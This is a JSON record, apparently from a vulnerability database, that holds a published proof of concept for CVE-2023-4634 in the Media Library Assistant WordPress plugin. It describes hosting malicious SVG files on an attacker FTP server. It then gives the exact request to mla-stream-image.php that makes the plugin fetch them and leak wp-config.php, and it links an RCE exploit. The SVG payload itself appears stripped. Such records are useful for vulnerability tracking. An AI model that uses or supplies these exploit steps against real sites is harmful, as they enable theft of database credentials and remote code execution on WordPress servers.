{"uuid": "81d4e815-27a6-4d9b-b6e8-7339d90d2cb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4634", "type": "published-proof-of-concept", "source": "https://t.me/leak_db2/1012", "content": "Media Library Assistant Wordpress Plugin - RCE and LFI \n\n#LFI\n\nSteps to trigger conversion of a remote SVG\n\nCreate a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)\n\nHost 2 files :\n- malicious.svg\n- malicious.svg[1]\n\n\nPayload:\nFor LFI, getting wp-config.php:\n\nBoth malicious.svg and malicious.svg[1] on the remote FTP:\n\n\nxmlns=\"http://www.w3.org/2000/svg\">\n\n\n\nThen trigger conversion with:\nhttp://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1\n\n\n# Directory listing or RCE:\nTo achieve Directory listing or even RCE, it is a little more complicated. \n\nUse exploit available here:\nhttps://github.com/Patrowl/CVE-2023-4634/", "creation_timestamp": "2023-10-10T15:58:44.000000Z"}